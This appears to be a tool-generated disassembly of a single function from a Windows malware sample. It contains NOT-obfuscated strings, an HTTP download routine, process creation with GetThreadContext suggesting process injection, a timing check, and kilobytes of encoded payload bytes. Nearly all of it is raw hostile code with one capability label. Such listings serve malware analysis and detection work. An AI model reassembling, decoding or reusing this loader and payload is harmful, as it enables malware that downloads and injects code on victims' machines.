Function at 0x140001808
Capabilities:
Check for time delay via gettickcount

Disassembly:
push rbp
push rbx
push rsi
push rdi
push r12
push r13
push r14
push r15
lea rbp, [rsp - 0x1bd8]
mov eax, 0x1cd8
call fcn.140004350
sub rsp, rax
call fcn.14000420c
call fcn.1400012fc
xor ebx, ebx
lea rsi, str.Message
lea r15d, [rbx + 1]
test eax, eax
jne 0x140001878
call fcn.140001730
test eax, eax
je 0x140001878
mov ecx, eax
call fcn.140001370
test eax, eax
jne 0x140001878
lea r9d, [rbx + 0x11]
mov r8, rsi
lea rdx, [0x1400055e0]
xor ecx, ecx
call qword [0x140009170]
cmp eax, r15d
jne 0x14000358d
call sub.KERNEL32.DLL_GetTickCount
mov ecx, 0x16aa000
mov edi, eax
call fcn.140003c68
mov r12, rax
test rax, rax
jne 0x14000189d
lea rdx, str.Map_Error__n
jmp 0x14000357c
movdqa xmm0, xmmword [0x1400060a0]
lea rcx, [rbp + 0x798]
movdqu xmmword [rbp + 0x798], xmm0
mov dword [rbp + 0x7a8], 0xcecdcec5
mov edx, ebx
mov word [rbp + 0x7ac], 0xd0c6
not byte [rcx]
add edx, r15d
add rcx, r15
cmp edx, 0x16
jb 0x1400018c9
mov eax, dword [0x1400056a8]
lea rcx, [rsp + 0x50]
movsd xmm0, qword [str.001_puppet.Txt]
mov edx, ebx
mov dword [rbp + 0x7c0], eax
movzx eax, word [0x1400056ac]
mov word [rbp + 0x7c4], ax
mov al, byte [0x1400056ae]
mov byte [rbp + 0x7c6], al
movsd qword [rbp + 0x7b8], xmm0
mov dword [rsp + 0x50], 0x9e8ecb90
mov dword [rsp + 0x54], 0x9cd199cd
mov word [rsp + 0x58], 0x91
not byte [rcx]
add edx, r15d
add rcx, r15
cmp edx, 9
jb 0x14000192a
movups xmm0, xmmword [str._WowOpO.TXT__d]
mov r8d, edi
lea rdx, [rbp + 0x7f0]
lea rcx, [rbp + 0x890]
movdqu xmmword [rbp + 0x7f0], xmm0
call qword [0x140009178]
lea r9, [rbp + 0x890]
mov qword [rsp + 0x20], r12
mov r8d, 0x4c3
lea rdx, [rsp + 0x50]
lea rcx, str.http:__
call fcn.140001008
movsxd rdi, eax
mov dword [rbp + 0x1c30], edi
cmp edi, 0x1000
jl 0x140003575
lea rax, [rbp + 0x7e8]
xor r8d, r8d
mov qword [rsp + 0x28], rax
lea r9, [0x1400041c0]
xor edx, edx
mov dword [rsp + 0x20], 4
xor ecx, ecx
call qword [0x1400090c8]
mov edx, edi
mov rcx, r12
call fcn.140004134
mov r13, rdi
call fcn.140001488
mov qword [rbp + 0x1c28], rax
mov edi, 0x10
test rax, rax
je 0x14000353f
lea rcx, [rbp + 0x7b0]
mov qword [rbp + 0x7b0], rbx
call sub.KERNEL32.DLL_Wow64DisableWow64FsRedirection
mov esi, ebx
mov edx, 0x800
lea rcx, [rbp + 0xbd0]
call fcn.140003d70
lea rcx, [rbp + 0xbd0]
call fcn.140003fa0
test eax, eax
je 0x140001a91
mov edx, 0x20
lea rcx, [rbp + 0x800]
call fcn.140003d70
mov edx, 0x68
lea rcx, [rbp + 0x820]
call fcn.140003d70
lea rax, [rbp + 0x800]
mov dword [rbp + 0x85c], r15d
mov qword [rsp + 0x48], rax
lea rcx, [rbp + 0xbd0]
lea rax, [rbp + 0x820]
mov word [rbp + 0x860], bx
mov qword [rsp + 0x40], rax
xor r9d, r9d
mov qword [rsp + 0x38], rbx
xor r8d, r8d
mov qword [rsp + 0x30], rbx
xor edx, edx
mov dword [rsp + 0x28], 4
mov dword [rsp + 0x20], ebx
call qword [0x140009110]
test eax, eax
jne 0x140001a9d
add esi, r15d
cmp esi, 0xa
jl 0x1400019f9
lea rcx, [rbp + 0x7b0]
call sub.KERNEL32.DLL_Wow64RevertWow64FsRedirection
mov rsi, qword [rbp + 0x800]
mov r14, qword [rbp + 0x808]
mov qword [rbp + 0x7d8], r14
test rsi, rsi
je 0x140001ac8
test r14, r14
jne 0x140001aee
mov r9d, edi
lea r8, str.Error
lea rdx, str.StartFile_CreateProcess_Object__0__Handle__0
xor ecx, ecx
call qword [0x140009170]
mov rdx, r15
or rcx, 0xffffffffffffffff
call qword [0x140009108]
mov qword [rsp + 0x30], rbx
lea rcx, [rbp + 0xbd0]
mov dword [rsp + 0x28], 0x80
xor r9d, r9d
mov r8, r15
mov dword [rsp + 0x20], 3
mov edx, 0x80000000
call qword [0x140009068]
mov eax, eax
test rax, rax
je 0x14000351a
lea rdx, [rbp + 0x900]
mov dword [rbp + 0x900], 0x10007
mov rcx, r14
call fcn.1400017d8
test eax, eax
jne 0x140001b5b
mov rdx, r15
mov rcx, rsi
call qword [0x140009108]
lea rdx, str.GetThreadContext_Error___n
jmp 0x14000352d
mov dword [rsp + 0x60], 0x7c1374aa
mov dword [rsp + 0x64], 0x36ccef13
mov dword [rsp + 0x68], 0xf38274a8
mov dword [rsp + 0x6c], 0xf68a007a
mov dword [rsp + 0x70], 0x74a03fcc
mov dword [rsp + 0x74], 0xf73da21a
mov dword [rsp + 0x78], 0xa5b247ff
mov dword [rsp + 0x7c], 0xc699ffff
mov dword [rbp - 0x80], 0x74128af8
mov dword [rbp - 0x7c], 0x38fcc3b8
mov dword [rbp - 0x78], 0xbaafc77e
mov dword [rbp - 0x74], 0x1f8affff
mov dword [rbp - 0x70], 0xfffdf445
mov dword [rbp - 0x6c], 0xafc699ff
mov dword [rbp - 0x68], 0x74f18ae7
mov dword [rbp - 0x64], 0xffff736f
mov dword [rbp - 0x60], 0x777f74ff
mov dword [rbp - 0x5c], 0x14ffffff
mov dword [rbp - 0x58], 0x83af74f9
mov dword [rbp - 0x54], 0xac87bf74
mov dword [rbp - 0x50], 0x76c7e372
mov dword [rbp - 0x4c], 0xbc7403aa
mov dword [rbp - 0x48], 0x7638fcdb
mov dword [rbp - 0x44], 0xbc740bba
mov dword [rbp - 0x40], 0x7638fcdf
mov dword [rbp - 0x3c], 0xbc7407ba
mov dword [rbp - 0x38], 0x38fca9e3
mov dword [rbp - 0x34], 0xba7609cc
mov dword [rbp - 0x30], 0xebb4c60f
mov dword [rbp - 0x2c], 0xba749689
mov dword [rbp - 0x28], 0xc22dccf7
mov dword [rbp - 0x24], 0xffff0000
mov dword [rbp - 0x20], 0x48f0fa88
mov dword [rbp - 0x1c], 0xc4eb1431
mov dword [rbp - 0x18], 0x868ce78c
mov dword [rbp - 0x14], 0x7407b274
mov dword [rbp - 0x10], 0xb2744eeb
mov dword [rbp - 0xc], 0xf028fc0b
mov dword [rbp - 8], 0x768ef348
mov dword [rbp - 4], 0xc2f3b2
mov dword [rbp], 0x88ffff00
mov dword [rbp + 4], 0x3648f0ef
mov dword [rbp + 8], 0xf0efb4fc
mov dword [rbp + 0xc], 0x3ec43f48
mov dword [rbp + 0x10], 0xba74da8a
mov dword [rbp + 0x14], 0x753774f7
mov dword [rbp + 0x18], 0x8b3f7bfd
mov dword [rbp + 0x1c], 0xffe0f0ef
mov dword [rbp + 0x20], 0xf68afec5
mov dword [rbp + 0x24], 0xbdfebd75
mov dword [rbp + 0x28], 0x8a3f7bbe
mov dword [rbp + 0x2c], 0xfe41f00c
mov dword [rbp + 0x30], 0xd4f541f0
mov dword [rbp + 0x34], 0xb9ec8b37
mov dword [rbp + 0x38], 0x8deb8cc4
mov dword [rbp + 0x3c], 0xa136cc66
mov dword [rbp + 0x40], 0xa03e74a4
mov dword [rbp + 0x44], 0x3da21a74
mov dword [rbp + 0x48], 0xba74fff7
mov dword [rbp + 0x4c], 0xfb274f3
mov dword [rbp + 0x50], 0x743f48f0
mov dword [rbp + 0x54], 0x30fc7ef3
mov dword [rbp + 0x58], 0x1c8d34c4
mov dword [rbp + 0x5c], 0xfc03ba74
mov dword [rbp + 0x60], 0x8837c43c
mov dword [rbp + 0x64], 0xcca4a125
mov dword [rbp + 0x68], 0x1a74a03f
mov dword [rbp + 0x6c], 0xfff73da2
mov dword [rbp + 0x70], 0x7c1374aa
mov dword [rbp + 0x74], 0xa8a9e313
mov dword [rbp + 0x78], 0x9d404b97
mov dword [rbp + 0x7c], 0xefea00ff
mov dword [rbp + 0x80], 0x74ff9dff
mov dword [rbp + 0x84], 0x9d4033f2
mov dword [rbp + 0x88], 0xfaeff0ff
mov dword [rbp + 0x8c], 0xff9d4043
mov dword [rbp + 0x90], 0x990bb276
mov dword [rbp + 0x94], 0x402ff274
mov dword [rbp + 0x98], 0x99afff9d
mov dword [rbp + 0x9c], 0x7207b276
mov dword [rbp + 0xa0], 0xf2751bba
mov dword [rbp + 0xa4], 0xff9d402d
lea rcx, [rsp + 0x60]
mov dword [rbp + 0xa8], 0xbaeef0af
mov edx, ebx
mov dword [rbp + 0xac], 0x5b2771b
mov dword [rbp + 0xb0], 0x15417
mov dword [rbp + 0xb4], 0x2b97af00
mov dword [rbp + 0xb8], 0x17ff9d40
mov dword [rbp + 0xbc], 0x9af
mov dword [rbp + 0xc0], 0x9fe6cf47
mov dword [rbp + 0xc4], 0x4609ccff
not byte [rcx]
add edx, r15d
add rcx, r15
cmp edx, 0x168
jb 0x140001e16
mov dword [rbp + 0xd0], 0x7c1374aa
mov dword [rbp + 0xd4], 0x137e071b
mov dword [rbp + 0xd8], 0xffffff03
mov dword [rbp + 0xdc], 0x74a8a9ac
mov dword [rbp + 0xe0], 0x7b38f782
mov dword [rbp + 0xe4], 0xffff77db
mov dword [rbp + 0xe8], 0x8d9bb3ff
mov dword [rbp + 0xec], 0xdb7b38b8
mov dword [rbp + 0xf0], 0xffffff73
mov dword [rbp + 0xf4], 0x8daf8b9a
mov dword [rbp + 0xf8], 0x6fdb7b38
mov dword [rbp + 0xfc], 0x90ffffff
mov dword [rbp + 0x100], 0x749b9a9c
mov dword [rbp + 0x104], 0x8874fbb8
mov dword [rbp + 0x108], 0x76e074f7
mov dword [rbp + 0x10c], 0x72ebdbbb
mov dword [rbp + 0x110], 0xff77db7b
mov dword [rbp + 0x114], 0xafa9ffff
mov dword [rbp + 0x118], 0x76f3b874
mov dword [rbp + 0x11c], 0x38cfdba3
mov dword [rbp + 0x120], 0xff63db7b
mov dword [rbp + 0x124], 0x8d8affff
mov dword [rbp + 0x128], 0x7b38be9a
mov dword [rbp + 0x12c], 0xffff5fdb
mov dword [rbp + 0x130], 0x8d9b9bff
mov dword [rbp + 0x134], 0x7b38999a
mov dword [rbp + 0x138], 0xffff5bdb
mov dword [rbp + 0x13c], 0x398c8cff
mov dword [rbp + 0x140], 0xff59db7b
mov dword [rbp + 0x144], 0x38ffffff
mov dword [rbp + 0x148], 0xff57db7b
mov dword [rbp + 0x14c], 0x8bb1ffff
mov dword [rbp + 0x150], 0x7b3893be
mov dword [rbp + 0x154], 0xffff53db
mov dword [rbp + 0x158], 0x9c9093ff
mov dword [rbp + 0x15c], 0xdb7b389e
mov dword [rbp + 0x160], 0xffffff4f
mov dword [rbp + 0x164], 0x96a99a8b
mov dword [rbp + 0x168], 0x4bdb7b38
mov dword [rbp + 0x16c], 0x8dffffff
mov dword [rbp + 0x170], 0x389e8a8b
mov dword [rbp + 0x174], 0xff47db7b
mov dword [rbp + 0x178], 0xb293ffff
mov dword [rbp + 0x17c], 0x7b38929a
mov dword [rbp + 0x180], 0xffff43db
mov dword [rbp + 0x184], 0x868d90ff
mov dword [rbp + 0x188], 0xdbbb38ff
mov dword [rbp + 0x18c], 0x8d9bb3cb
mov dword [rbp + 0x190], 0xdbbb38b3
mov dword [rbp + 0x194], 0x9b9e90c7
mov dword [rbp + 0x198], 0xbb3899bb
mov dword [rbp + 0x19c], 0x9393c3db
mov dword [rbp + 0x1a0], 0xc1dbbb39
mov dword [rbp + 0x1a4], 0xdbbb38ff
mov dword [rbp + 0x1a8], 0x938badaf
mov dword [rbp + 0x1ac], 0xdbbb38b6
mov dword [rbp + 0x1b0], 0x8b9691ab
mov dword [rbp + 0x1b4], 0xdbbb38be
mov dword [rbp + 0x1b8], 0x968c91a7
mov dword [rbp + 0x1bc], 0xdbbb38ac
mov dword [rbp + 0x1c0], 0x968d8ba3
mov dword [rbp + 0x1c4], 0xbb389991
mov dword [rbp + 0x1c8], 0xff989fdb
mov dword [rbp + 0x1cc], 0x3fdb7b38
mov dword [rbp + 0x1d0], 0xadffffff
mov dword [rbp + 0x1d4], 0x38be938b
mov dword [rbp + 0x1d8], 0xff3bdb7b
mov dword [rbp + 0x1dc], 0x8c91ffff
mov dword [rbp + 0x1e0], 0x7b38ac96
mov dword [rbp + 0x1e4], 0xffff37db
mov dword [rbp + 0x1e8], 0x968d8bff
mov dword [rbp + 0x1ec], 0xdb7b3891
mov dword [rbp + 0x1f0], 0xffffff33
mov dword [rbp + 0x1f4], 0xaa90ab98
mov dword [rbp + 0x1f8], 0x2fdb7b38
mov dword [rbp + 0x1fc], 0x91ffffff
mov dword [rbp + 0x200], 0x38909c96
mov dword [rbp + 0x204], 0xff2bdb7b
mov dword [rbp + 0x208], 0x9a9bffff
mov dword [rbp + 0x20c], 0x7b388bac
mov dword [rbp + 0x210], 0xffff27db
mov dword [rbp + 0x214], 0x91968dff
mov dword [rbp + 0x218], 0xdb7b3998
mov dword [rbp + 0x21c], 0xffffff23
mov dword [rbp + 0x220], 0xdbbb38ff
mov dword [rbp + 0x224], 0x938bad87
mov dword [rbp + 0x228], 0xdbbb38b9
mov dword [rbp + 0x22c], 0x9a9a8d83
mov dword [rbp + 0x230], 0xdb7b38aa
mov dword [rbp + 0x234], 0xffffff7f
mov dword [rbp + 0x238], 0x909c9691
mov dword [rbp + 0x23c], 0x7bdb7b38
mov dword [rbp + 0x240], 0x9bffffff
mov dword [rbp + 0x244], 0x388bac9a
mov dword [rbp + 0x248], 0xff77db7b
mov dword [rbp + 0x24c], 0x968dffff
mov dword [rbp + 0x250], 0x7b399891
mov dword [rbp + 0x254], 0xffff73db
mov dword [rbp + 0x258], 0xbb38ffff
mov dword [rbp + 0x25c], 0x9bb3bfdb
mov dword [rbp + 0x260], 0xbb38aa8d
mov dword [rbp + 0x264], 0x9391bbdb
mov dword [rbp + 0x268], 0xbb389e90
mov dword [rbp + 0x26c], 0xbb9bb7db
mov dword [rbp + 0x270], 0xbb399393
mov dword [rbp + 0x274], 0x38ffb3db
mov dword [rbp + 0x278], 0xb19bdbbb
mov dword [rbp + 0x27c], 0x388db98b
mov dword [rbp + 0x280], 0x9a97dbbb
mov dword [rbp + 0x284], 0x3896a99a
mov dword [rbp + 0x288], 0x8d93dbbb
mov dword [rbp + 0x28c], 0x389e8a8b
mov dword [rbp + 0x290], 0x938fdbbb
mov dword [rbp + 0x294], 0x38929ab2
mov dword [rbp + 0x298], 0x908bdbbb
mov dword [rbp + 0x29c], 0xff868d
mov dword [rbp + 0x2a0], 0xf3b0742f
mov dword [rbp + 0x2a4], 0x1fdb7b76
mov dword [rbp + 0x2a8], 0x72ffffff
mov dword [rbp + 0x2ac], 0xff5fdb7b
mov dword [rbp + 0x2b0], 0xafa9ffff
mov dword [rbp + 0x2b4], 0xb0742e00
mov dword [rbp + 0x2b8], 0xdbbb76f3
mov dword [rbp + 0x2bc], 0xdbbb72df
mov dword [rbp + 0x2c0], 0xafa9d3
mov dword [rbp + 0x2c4], 0xf3b0742e
mov dword [rbp + 0x2c8], 0x17db7b76
mov dword [rbp + 0x2cc], 0x72ffffff
mov dword [rbp + 0x2d0], 0xa9b7dbbb
mov dword [rbp + 0x2d4], 0x762e00af
mov dword [rbp + 0x2d8], 0xff27db7b
mov dword [rbp + 0x2dc], 0x7b72ffff
mov dword [rbp + 0x2e0], 0xffff47db
mov dword [rbp + 0x2e4], 0x74afa9ff
mov dword [rbp + 0x2e8], 0x2e00f3b0
mov dword [rbp + 0x2ec], 0x76f3b074
mov dword [rbp + 0x2f0], 0xff1bdb7b
mov dword [rbp + 0x2f4], 0xbb72ffff
mov dword [rbp + 0x2f8], 0xafa98fdb
mov dword [rbp + 0x2fc], 0xb0742e00
mov dword [rbp + 0x300], 0xdb7b76f3
mov dword [rbp + 0x304], 0xffffff13
mov dword [rbp + 0x308], 0xc7dbbb72
mov dword [rbp + 0x30c], 0x2e00afa9
mov dword [rbp + 0x310], 0x76f3b074
mov dword [rbp + 0x314], 0xff0fdb7b
mov dword [rbp + 0x318], 0xbb72ffff
mov dword [rbp + 0x31c], 0xafa9a3db
mov dword [rbp + 0x320], 0xb3742e00
mov dword [rbp + 0x324], 0x9ccebdb
mov dword [rbp + 0x328], 0xbdb7b76
mov dword [rbp + 0x32c], 0x76ffffff
mov dword [rbp + 0x330], 0x7cefdb8b
mov dword [rbp + 0x334], 0x79f0bf06
mov dword [rbp + 0x338], 0xfffffbf0
mov dword [rbp + 0x33c], 0xffa5b247
mov dword [rbp + 0x340], 0xfcc699ff
mov dword [rbp + 0x344], 0xfbfe7af0
mov dword [rbp + 0x348], 0xac74ffff
mov dword [rbp + 0x34c], 0x77d72c3
mov dword [rbp + 0x350], 0xc4ffffff
mov dword [rbp + 0x354], 0xf7df037
or dword [rbp + 0x46c], 0xffffffff
mov dword [rbp + 0x358], 0x7efffffc
mov dword [rbp + 0x35c], 0xbaafe5c3
mov dword [rbp + 0x360], 0xf372ffff
mov dword [rbp + 0x364], 0xdbb376e5
mov dword [rbp + 0x368], 0x237af0e7
mov dword [rbp + 0x36c], 0x99fffffc
mov dword [rbp + 0x370], 0x45e9be74
mov dword [rbp + 0x374], 0xffffdffd
mov dword [rbp + 0x378], 0x993ddc99
mov dword [rbp + 0x37c], 0x7af03dc4
mov dword [rbp + 0x380], 0xfffffc38
mov dword [rbp + 0x384], 0xffff1f47
mov dword [rbp + 0x388], 0xbec699ff
mov dword [rbp + 0x38c], 0x477af0eb
mov dword [rbp + 0x390], 0xf0fffffc
mov dword [rbp + 0x394], 0xccf98648
mov dword [rbp + 0x398], 0x8b007a2d
mov dword [rbp + 0x39c], 0xf73e7ede
mov dword [rbp + 0x3a0], 0x74fffffe
mov dword [rbp + 0x3a4], 0xfefcfbbe
mov dword [rbp + 0x3a8], 0xebdbbbc4
mov dword [rbp + 0x3ac], 0xfc6678f0
mov dword [rbp + 0x3b0], 0x7cbdffff
mov dword [rbp + 0x3b4], 0x28c4d73e
mov dword [rbp + 0x3b8], 0xb3741683
mov dword [rbp + 0x3bc], 0xbb74e7db
mov dword [rbp + 0x3c0], 0x2dcce7db
mov dword [rbp + 0x3c4], 0x74c7b674
mov dword [rbp + 0x3c8], 0xfcb7abbf
mov dword [rbp + 0x3cc], 0xf00e083e
mov dword [rbp + 0x3d0], 0xbb763e50
mov dword [rbp + 0x3d4], 0x7ae3db
mov dword [rbp + 0x3d8], 0xab74b88b
mov dword [rbp + 0x3dc], 0x4d72e7db
mov dword [rbp + 0x3e0], 0xfffffef7
mov dword [rbp + 0x3e4], 0x2c74fd14
mov dword [rbp + 0x3e8], 0xc607b174
mov dword [rbp + 0x3ec], 0xc7bd74f1
mov dword [rbp + 0x3f0], 0xb7f1b0f0
mov dword [rbp + 0x3f4], 0x7203b1fc
mov dword [rbp + 0x3f8], 0xa374d789
mov dword [rbp + 0x3fc], 0x3efce7db
mov dword [rbp + 0x400], 0x8c082dcc
mov dword [rbp + 0x404], 0xbc50f0c7
mov dword [rbp + 0x408], 0xdbbbc6c7
mov dword [rbp + 0x40c], 0xbbb2f0e3
mov dword [rbp + 0x410], 0xbb76e3db
mov dword [rbp + 0x414], 0x107ce3db
mov dword [rbp + 0x418], 0x74348afe
mov dword [rbp + 0x41c], 0xccd7dba3
mov dword [rbp + 0x420], 0xf03f7a09
mov dword [rbp + 0x424], 0xfffcdd7b
mov dword [rbp + 0x428], 0x97bf95ff
mov dword [rbp + 0x42c], 0xffffefff
mov dword [rbp + 0x430], 0xcfdbbb76
mov dword [rbp + 0x434], 0xcfdbbb72
mov dword [rbp + 0x438], 0x72ff95af
mov dword [rbp + 0x43c], 0xafdfdbbb
mov dword [rbp + 0x440], 0xab000095
mov dword [rbp + 0x444], 0x8b74c7db
mov dword [rbp + 0x448], 0x97aefdb
mov dword [rbp + 0x44c], 0xfd067bf0
mov dword [rbp + 0x450], 0xab74ffff
mov dword [rbp + 0x454], 0x48f0e7db
mov dword [rbp + 0x458], 0xf372f9bd
mov dword [rbp + 0x45c], 0xabbd747f
mov dword [rbp + 0x460], 0xcc37eb72
mov dword [rbp + 0x464], 0x812d7a36
mov dword [rbp + 0x468], 0x7fe0f0e9
mov dword [rbp + 0x470], 0x77e6fb75
mov dword [rbp + 0x474], 0x74becefb
mov dword [rbp + 0x478], 0xc4efdb8b
mov dword [rbp + 0x47c], 0x740e8335
mov dword [rbp + 0x480], 0xcce7dbab
mov dword [rbp + 0x484], 0x763fcc36
mov dword [rbp + 0x488], 0x99ebdbb3
mov dword [rbp + 0x48c], 0x8cf9bdc4
mov dword [rbp + 0x490], 0xf73d7eb0
mov dword [rbp + 0x494], 0x74fffffe
mov dword [rbp + 0x498], 0x3f7a03bd
or dword [rbp + 0x534], 0xffffffff
mov dword [rbp + 0x49c], 0xc57cd58b
mov dword [rbp + 0x4a0], 0xccda8bff
mov dword [rbp + 0x4a4], 0xcfc37236
mov dword [rbp + 0x4a8], 0xe789f5c6
mov dword [rbp + 0x4ac], 0xffbfe0f0
mov dword [rbp + 0x4b0], 0xfcfbbd74
mov dword [rbp + 0x4b4], 0xe7fb753e
mov dword [rbp + 0x4b8], 0xbec6fb77
mov dword [rbp + 0x4bc], 0xf8df5c4
mov dword [rbp + 0x4c0], 0xefdb8b74
mov dword [rbp + 0x4c4], 0xebdbb374
mov dword [rbp + 0x4c8], 0xe7dbbb74
mov dword [rbp + 0x4cc], 0xd73d7cbe
mov dword [rbp + 0x4d0], 0xebdbb376
mov dword [rbp + 0x4d4], 0xf9bf48f0
mov dword [rbp + 0x4d8], 0x448337c4
mov dword [rbp + 0x4dc], 0xe7dbab74
mov dword [rbp + 0x4e0], 0xff5f7574
mov dword [rbp + 0x4e4], 0x367affff
mov dword [rbp + 0x4e8], 0xff5e7bf0
mov dword [rbp + 0x4ec], 0x457cffff
mov dword [rbp + 0x4f0], 0xffffff5b
mov dword [rbp + 0x4f4], 0x6b79f0ff
mov dword [rbp + 0x4f8], 0x74ffffff
mov dword [rbp + 0x4fc], 0xf1c37239
mov dword [rbp + 0x500], 0x74cbbdd4
mov dword [rbp + 0x504], 0x7b76fbb0
mov dword [rbp + 0x508], 0xffff23db
mov dword [rbp + 0x50c], 0xfbb872ff
mov dword [rbp + 0x510], 0xebdbbb76
mov dword [rbp + 0x514], 0x3efcf874
mov dword [rbp + 0x518], 0xbb388a8b
mov dword [rbp + 0x51c], 0xcfffdfdb
mov dword [rbp + 0x520], 0xbb38ffff
mov dword [rbp + 0x524], 0x5fffdbdb
mov dword [rbp + 0x528], 0xf099ffff
mov dword [rbp + 0x52c], 0xffffbbe0
mov dword [rbp + 0x530], 0x4507a672
mov dword [rbp + 0x538], 0xc68b142e
mov dword [rbp + 0x53c], 0xffbfe0f0
mov dword [rbp + 0x540], 0xa8bb48f0
mov dword [rbp + 0x544], 0x7e3774f7
mov dword [rbp + 0x548], 0xff0fff1e
mov dword [rbp + 0x54c], 0xb3c499ff
mov dword [rbp + 0x550], 0xf88bdfdb
mov dword [rbp + 0x554], 0xdbb3c499
mov dword [rbp + 0x558], 0x74ea8adb
mov dword [rbp + 0x55c], 0xff23db73
mov dword [rbp + 0x560], 0xdaffff
mov dword [rbp + 0x564], 0xfcfffff0
mov dword [rbp + 0x568], 0xcff3fef8
mov dword [rbp + 0x56c], 0xefdb8b74
mov dword [rbp + 0x570], 0x832cc4bd
mov dword [rbp + 0x574], 0xdbbb7434
mov dword [rbp + 0x578], 0x74c7fceb
mov dword [rbp + 0x57c], 0xb872fbb0
mov dword [rbp + 0x580], 0xdbbb76fb
mov dword [rbp + 0x584], 0xfcf874eb
mov dword [rbp + 0x588], 0x745a8a3e
mov dword [rbp + 0x58c], 0x74e7dbab
mov dword [rbp + 0x590], 0xffff7f7d
mov dword [rbp + 0x594], 0xf03f7aff
mov dword [rbp + 0x598], 0xfffe517b
mov dword [rbp + 0x59c], 0xcfeb72ff
mov qword [rbp + 0x5a0], 0xffffffffe3dbbb38
mov dword [rbp + 0x5a8], 0xab76fd74
mov dword [rbp + 0x5ac], 0x3f7adfdb
mov dword [rbp + 0x5b0], 0xfebd7bf0
mov dword [rbp + 0x5b4], 0x6374ffff
mov dword [rbp + 0x5b8], 0xffff27db
mov dword [rbp + 0x5bc], 0xffe0f0ff
mov dword [rbp + 0x5c0], 0xfcefb574
mov dword [rbp + 0x5c4], 0xdbbb7639
mov dword [rbp + 0x5c8], 0x7431fcdb
mov dword [rbp + 0x5cc], 0x39fcf3bd
mov dword [rbp + 0x5d0], 0x23db7376
mov dword [rbp + 0x5d4], 0xafffffff
mov dword [rbp + 0x5d8], 0x3db7b72
mov dword [rbp + 0x5dc], 0xafffffff
mov dword [rbp + 0x5e0], 0xfe952c00
mov dword [rbp + 0x5e4], 0x3db7b72
mov dword [rbp + 0x5e8], 0xafffffff
mov dword [rbp + 0x5ec], 0xf7db7b72
mov dword [rbp + 0x5f0], 0xaffffffe
mov dword [rbp + 0x5f4], 0xfdb6b00
mov dword [rbp + 0x5f8], 0x72ffffff
mov dword [rbp + 0x5fc], 0xafe3dbbb
mov dword [rbp + 0x600], 0xfbdb7b72
mov dword [rbp + 0x604], 0xaffffffe
mov dword [rbp + 0x608], 0xff95ff95
mov dword [rbp + 0x60c], 0x7db6b00
mov dword [rbp + 0x610], 0x72ffffff
mov dword [rbp + 0x614], 0xfeffdb7b
mov dword [rbp + 0x618], 0xafffff
mov dword [rbp + 0x61c], 0xff0fdb6b
mov dword [rbp + 0x620], 0xb374ffff
mov dword [rbp + 0x624], 0x367ae3db
mov dword [rbp + 0x628], 0xfee67bf0
mov dword [rbp + 0x62c], 0x8b74ffff
mov dword [rbp + 0x630], 0xccdbdb
mov dword [rbp + 0x634], 0x7bf0c1c6
mov dword [rbp + 0x638], 0xffffff5c
mov dword [rbp + 0x63c], 0x24cc3974
mov dword [rbp + 0x640], 0xbb38ff74
mov dword [rbp + 0x644], 0xffffebdb
mov dword [rbp + 0x648], 0x3f7affff
mov dword [rbp + 0x64c], 0x48f0e286
mov dword [rbp + 0x650], 0xf03f7a3f
mov dword [rbp + 0x654], 0xffff117b
mov dword [rbp + 0x658], 0xdbab72ff
mov dword [rbp + 0x65c], 0x95afadeb
mov dword [rbp + 0x660], 0x6b00aeff
mov dword [rbp + 0x664], 0xffff0fdb
mov dword [rbp + 0x668], 0x74c214ff
mov dword [rbp + 0x66c], 0x7cefdb8b
mov dword [rbp + 0x670], 0x39fcfd3f
mov dword [rbp + 0x674], 0xff2e7bf0
mov dword [rbp + 0x678], 0x72afffff
mov dword [rbp + 0x67c], 0xff03db7b
mov dword [rbp + 0x680], 0xafffff
mov dword [rbp + 0x684], 0xff1fdb6b
mov dword [rbp + 0x688], 0xbb72ffff
mov dword [rbp + 0x68c], 0x95afebdb
mov dword [rbp + 0x690], 0xdb7b72ff
mov dword [rbp + 0x694], 0xfffffeff
mov dword [rbp + 0x698], 0xdb8b00af
mov dword [rbp + 0x69c], 0xdb6b00d7
mov dword [rbp + 0x6a0], 0xffffff0f
mov dword [rbp + 0x6a4], 0xdbdb8b74
mov dword [rbp + 0x6a8], 0xebdbbb74
mov dword [rbp + 0x6ac], 0x7bf03f7a
mov dword [rbp + 0x6b0], 0xffffff6c
mov dword [rbp + 0x6b4], 0x23db7374
mov dword [rbp + 0x6b8], 0xb8ffffff
mov dword [rbp + 0x6bc], 0x72e6fb76
mov dword [rbp + 0x6c0], 0xffff42e3
mov dword [rbp + 0x6c4], 0xc37cffff
mov dword [rbp + 0x6c8], 0xfb72ffe1
mov dword [rbp + 0x6cc], 0x74f68be1
mov dword [rbp + 0x6d0], 0x16e3dbb3
mov dword [rbp + 0x6d4], 0x97
mov dword [rbp + 0x6d8], 0x27db6374
mov dword [rbp + 0x6dc], 0x74ffffff
mov dword [rbp + 0x6e0], 0x74dfdbab
mov dword [rbp + 0x6e4], 0x7cefdb8b
mov dword [rbp + 0x6e8], 0xab76eb3d
mov dword [rbp + 0x6ec], 0xfd74dfdb
mov dword [rbp + 0x6f0], 0x7af03f7a
mov dword [rbp + 0x6f4], 0x137
mov dword [rbp + 0x6f8], 0xe7dbbb74
mov dword [rbp + 0x6fc], 0x74cb8f76
mov dword [rbp + 0x700], 0xbb74d78f
mov dword [rbp + 0x704], 0xffcefdb
mov dword [rbp + 0x708], 0x95fe95af
mov dword [rbp + 0x70c], 0x7a2900ff
mov dword [rbp + 0x710], 0xcb8a3f
mov dword [rbp + 0x714], 0xafefdb8b
mov dword [rbp + 0x718], 0x7c2900af
mov dword [rbp + 0x71c], 0xd88afe07
mov dword [rbp + 0x720], 0xe3db8b00
mov dword [rbp + 0x724], 0xbdb6b00
mov dword [rbp + 0x728], 0x7affffff
lea rcx, [rbp + 0xd0]
mov dword [rbp + 0x72c], 0x97e78a3f
mov r8d, ebx
mov dword [rbp + 0x730], 0xffff7fff
mov dword [rbp + 0x734], 0xd3dbbb72
mov dword [rbp + 0x738], 0xdbbb72af
mov dword [rbp + 0x73c], 0x95afe7
mov dword [rbp + 0x740], 0xfbdb6b00
mov dword [rbp + 0x744], 0x74fffffe
mov dword [rbp + 0x748], 0xa0efdb8b
mov dword [rbp + 0x74c], 0xa4a13974
mov dword [rbp + 0x750], 0x3da21a74
mov word [rbp + 0x754], 0xfffb
not byte [rcx]
add r8d, r15d
add rcx, r15
cmp r8d, 0x686
jb 0x140002e74
mov eax, r13d
mov ecx, r13d
mov qword [rbp + 0x768], rax
call fcn.140003c68
mov r15, rax
test rax, rax
jne 0x140002ecd
lea edx, [rax + 1]
mov rcx, rsi
call qword [0x140009108]
mov r9d, edi
